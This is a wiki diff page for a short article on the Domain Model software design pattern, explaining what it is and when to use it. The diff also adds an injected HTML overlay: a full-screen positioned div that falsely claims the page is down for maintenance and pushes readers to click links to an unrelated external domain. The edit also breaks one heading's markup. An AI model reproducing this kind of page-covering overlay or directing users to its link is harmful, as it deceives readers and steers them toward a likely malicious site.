Domain model pattern

From CSSEMediaWiki
(Difference between revisions)
Jump to: navigation, search
(New page: The short definition for the Domain Model Pattern is: “an object model of the domain that incorporates both behavior and data”. The domain model is created in an application by introd...)
 
Line 5: Line 5:
 
There are two common ways of using domain model. One is to model each database table (or logic tables based on application requirement) as one class. Other design patterns and inheritance can also be used here. Another way is to introduce rich domain model which is good for complex domain logic, and as the result, the model will not look like the data model anymore. The [[Active record]] pattern can be used as the data mapper if the domain logic is not very complex; in the case of very complex domain logic, the [[Data mapper pattern]] should be used to map between the application and the data.
 
There are two common ways of using domain model. One is to model each database table (or logic tables based on application requirement) as one class. Other design patterns and inheritance can also be used here. Another way is to introduce rich domain model which is good for complex domain logic, and as the result, the model will not look like the data model anymore. The [[Active record]] pattern can be used as the data mapper if the domain logic is not very complex; in the case of very complex domain logic, the [[Data mapper pattern]] should be used to map between the application and the data.
  
==== When to Use It ====
+
>==== When to Use It ====
 
The Domain Model Pattern is best to be used by application with complex business logic and frequent changing business logic.
 
The Domain Model Pattern is best to be used by application with complex business logic and frequent changing business logic.
 +
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://itaxolimy.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]=
 +
----
 +
=[http://itaxolimy.co.cc CLICK HERE]=
 +
----
 +
</div>

Revision as of 02:30, 18 November 2010

The short definition for the Domain Model Pattern is: “an object model of the domain that incorporates both behavior and data”.

The domain model is created in an application by introducing a whole layer of objects which model the business concepts and entities that the application is working in. It creates a set of interconnected objects for dealing with the logic required by the business environment. An object-oriented domain model will be quite like the database model it uses, but domain model not only contains the data and also the process need to be used with the data.

There are two common ways of using domain model. One is to model each database table (or logic tables based on application requirement) as one class. Other design patterns and inheritance can also be used here. Another way is to introduce rich domain model which is good for complex domain logic, and as the result, the model will not look like the data model anymore. The Active record pattern can be used as the data mapper if the domain logic is not very complex; in the case of very complex domain logic, the Data mapper pattern should be used to map between the application and the data.

>==== When to Use It ==== The Domain Model Pattern is best to be used by application with complex business logic and frequent changing business logic.


Personal tools